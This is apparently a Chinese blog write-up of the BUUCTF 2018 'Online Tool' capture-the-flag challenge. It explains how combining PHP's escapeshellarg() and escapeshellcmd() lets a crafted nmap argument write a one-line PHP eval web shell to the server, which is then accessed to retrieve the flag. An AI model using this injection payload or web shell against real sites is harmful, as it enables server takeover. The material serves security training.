[BUUCTF 2018]Online Tool

文章详细分析了一个PHP代码中的命令执行漏洞,通过escapeshellarg()和escapeshellcmd()函数的逻辑漏洞,可以构造特定payload绕过防护执行nmap命令并写入文件。利用nmap的-oG选项写入PHP代码到指定目录,然后通过蚁剑连接获取flag。
摘要由CSDN通过智能技术生成

本题是一道命令执行的题目,打开容器。

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

对源代码进行分析,在第一个if条件中会让http报文头中的X-Forwarded-For赋值给Remote-Addr。但是这个if条件语句后并没有else,所以这里的if语句对本题的解题过程没有什么影响。

在第二个if条件语句只是起到一个显示源代码的作用,在else中echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 这条语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是可控的。首先想到可以用“&&”来让system函数执行多个命令从而获取flag。但在前面存在对host的过滤:$host = escapeshellarg($host); $host = escapeshellcmd($host); 。

  • Escapeshellarg()函数把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号。
  • Escapeshellcmd()函数对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,即将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义。

经过escapeshellcmd()函数的处理后大部分命令都会被转义,但当escapeshellarg()和escapeshellcmd()两个函数共同使用时就会产生逻辑漏洞,这里进行本地测试(在Linux下进行测试):

可以看到当host为1时经过escapeshellarg()函数处理后两边都加上了单引号这样我们输入的内容就变成一个字符串,由于此时单引号已经配对闭合所以escapeshellcmd()函数不会起作用。

 

可以看到当host为1’时经过escapeshellarg()函数处理后为我们输入的单引号加上了反斜杠转义,再经过escapeshellcmd()函数处理后又对原先的反斜杠进行转义导致原先的反斜杠失去转义作用,这样最后一个单引号就不成对于是也被转义。

 

这样们就可以利用这个漏洞插入恶意语句且插入的语句不会变成字符串形式,但如&&、||等逻辑符号都会被转义,所以只能用nmap的命令“-oG”该命令可以进行写文件。可以构造payload为:

' <?php @eval($_POST["hack"]);?> -oG hack.php '

注意:在payload最后加上了“空格”和“单引号”,不加这二者的话文件名会有问题。

 

不加单引号的话由于最后一个单引号被转义文件名最后会变成1.php’ 

 

 而加了单引号但前面没有加空格的话由于一个反斜杠被转义所以文件名会变成1.php\

 

加了空格和单引号后最后结果是1.php \ 也就是反斜杠和文件名之间有个空格隔开这样才是正确的。

传入payload后可得: 

 

 

下一步就是要访问我们写入的文件,在源代码中@mkdir($sandbox); chdir($sandbox);这里可以得知我们写入的文件在$sandbox目录下,也就是上图第一个红框中的目录。

http://1825203a-b728-4864-a511-ed1dcd1d229c.node4.buuoj.cn:81/b3bb21f9337284a29d8017e53b799e0a/1.php

用蚁剑连接即可找到flag。

flag{81a828b0-6f08-4064-baf3-89d5402c0c3b}

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值